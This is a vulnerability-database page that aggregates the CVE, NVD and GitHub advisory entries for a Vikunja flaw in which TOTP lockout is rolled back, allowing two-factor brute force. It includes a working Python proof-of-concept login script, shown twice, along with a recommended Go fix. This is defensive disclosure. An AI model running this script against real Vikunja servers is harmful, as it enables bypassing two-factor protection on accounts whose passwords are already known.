Vulnerability-Lookup

CVE-2026-35597 (GCVE-0-2026-35597)

Vulnerability from cvelistv5 – Published: 2026-04-10 16:03 – Updated: 2026-04-13 15:37

Title

Vikunja Affected by TOTP Brute-Force Due to Non-Functional Account Lockout

Summary

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

Severity ?

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-307 - Improper Restriction of Excessive Authentication Attempts

Assigner

GitHub_M

References

URL

Tags

	https://github.com/go-vikunja/vikunja/security/ad…	x_refsource_CONFIRM
	https://github.com/go-vikunja/vikunja/pull/2576	x_refsource_MISC
	https://github.com/go-vikunja/vikunja/commit/6ca0…	x_refsource_MISC
	https://github.com/go-vikunja/vikunja/releases/ta…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	go-vikunja	vikunja	Affected: < 2.3.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-35597

Vulnerability from fkie_nvd - Published: 2026-04-10 17:17 - Updated: 2026-04-13 16:16

Severity ?

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/commit/6ca0151d02fa0e8c7e2181ab916a28e08caaaec8
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/pull/2576
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0
	security-advisories@github.com	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0."
    }
  ],
  "id": "CVE-2026-35597",
  "lastModified": "2026-04-13T16:16:29.063",
  "metrics": {
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}

GHSA-FGFV-PV97-6CMJ

Vulnerability from github – Published: 2026-04-10 15:34 – Updated: 2026-04-10 19:36

Summary

Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout

Details

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

if err != nil {
    if user2.IsErrInvalidTOTPPasscode(err) {
        user2.HandleFailedTOTPAuth(s, user)
    }
    _ = s.Rollback()
    return err
}

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

import requests, time, pyotp

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
              json={"passcode": totp.now()})

# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")  # 200 - account was never locked

Output:

Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
    _ = lockoutSession.Rollback()
    return
}
_ = lockoutSession.Commit()

Found and reported by aisafe.io

Severity ?

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T15:34:14Z",
    "nvd_published_at": "2026-04-10T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.\n\n## Details\n\nWhen a TOTP validation fails, the login handler at `pkg/routes/api/v1/login.go:95-101` calls `HandleFailedTOTPAuth` and then unconditionally rolls back:\n\n```go\nif err != nil {\n    if user2.IsErrInvalidTOTPPasscode(err) {\n        user2.HandleFailedTOTPAuth(s, user)\n    }\n    _ = s.Rollback()\n    return err\n}\n```\n\n`HandleFailedTOTPAuth` at `pkg/user/totp.go:201-247` uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls `user.SetStatus(s, StatusAccountLocked)` on the same database session `s`. Because the login handler always rolls back after a TOTP failure, the `StatusAccountLocked` write is undone.\n\nThe in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2. Requires `pyotp` (`pip install pyotp`).\n\n```python\nimport requests, time, pyotp\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef h(token):\n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\n# setup: login, enroll and enable TOTP\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\"}).json()[\"token\"]\nsecret = requests.post(f\"{API}/user/settings/totp/enroll\", headers=h(token)).json()[\"secret\"]\ntotp = pyotp.TOTP(secret)\nrequests.post(f\"{API}/user/settings/totp/enable\", headers=h(token),\n              json={\"passcode\": totp.now()})\n\n# send 9 failed attempts (rate limit is 10/min)\nfor i in range(1, 10):\n    r = requests.post(f\"{API}/login\",\n        json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n    print(f\"Attempt {i}: {r.status_code} code={r.json().get(\u0027code\u0027)}\")\n\n# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)\ntime.sleep(65)\nfor i in range(10, 13):\n    r = requests.post(f\"{API}/login\",\n        json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n    print(f\"Attempt {i}: {r.status_code} code={r.json().get(\u0027code\u0027)}\")\n\n# wait for rate limit, try with valid TOTP\ntime.sleep(65)\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": totp.now()})\nprint(f\"Valid TOTP login: {r.status_code}\")  # 200 - account was never locked\n```\n\nOutput:\n```\nAttempt 1: 412 code=1017\n...\nAttempt 9: 412 code=1017\nAttempt 10: 412 code=1017\nAttempt 11: 412 code=1017\nAttempt 12: 412 code=1017\nValid TOTP login: 200\n```\n\nThe account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.\n\n## Impact\n\nAn attacker who has obtained a user\u0027s password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.\n\n## Recommended Fix\n\nHave `HandleFailedTOTPAuth` create and commit its own independent database session for the lockout operation:\n\n```go\n// Use a new session so the lockout persists regardless of caller\u0027s rollback\nlockoutSession := db.NewSession()\ndefer lockoutSession.Close()\nerr = user.SetStatus(lockoutSession, StatusAccountLocked)\nif err != nil {\n    _ = lockoutSession.Rollback()\n    return\n}\n_ = lockoutSession.Commit()\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-fgfv-pv97-6cmj",
  "modified": "2026-04-10T19:36:20Z",
  "published": "2026-04-10T15:34:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/2576"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/6ca0151d02fa0e8c7e2181ab916a28e08caaaec8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-35597 (GCVE-0-2026-35597)

FKIE_CVE-2026-35597

GHSA-FGFV-PV97-6CMJ

Summary

Details

Proof of Concept

Impact

Recommended Fix

Tags

Sightings

Nomenclature